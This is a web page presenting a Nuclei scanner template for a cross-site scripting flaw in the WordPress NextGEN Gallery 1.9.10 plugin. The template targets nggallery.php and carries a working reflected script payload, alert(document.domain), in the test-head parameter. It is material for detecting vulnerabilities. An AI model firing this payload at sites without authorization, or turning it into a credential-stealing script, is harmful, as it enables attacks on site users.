Skip to content

WordPress NextGEN Gallery 1.9.10 - Cross-Site Scripting

ID: wp-nextgen-xss

Severity: high

Author: daffainfo

Tags: wp-plugin,edb,wordpress,xss

WordPress NextGEN Gallery 1.9.10 plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

id: wp-nextgen-xss
info:
name: WordPress NextGEN Gallery 1.9.10 - Cross-Site Scripting
author: daffainfo
severity: high
description: WordPress NextGEN Gallery 1.9.10 plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://www.exploit-db.com/exploits/38178
- http://web.archive.org/web/20210123110617/https://www.securityfocus.com/bid/57200/info
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
metadata:
max-request: 2
tags: wp-plugin,edb,wordpress,xss
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/nextgen-gallery/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- '= NextGEN Gallery'
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/nextgen-gallery/nggallery.php?test-head=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
words:
- "</script><script>alert(document.domain)</script>"
part: body
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 490a00463044022019adcc1ccba89866d1712d8ef8fd821d25d5cc503d5e16ec52fbaac60114e58f022004e6909fe4f048836d2926c46dd5f0e3e0e1977aca5f6f0588ff2bfe295a1f61:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-nextgen-xss.yaml"

View on Github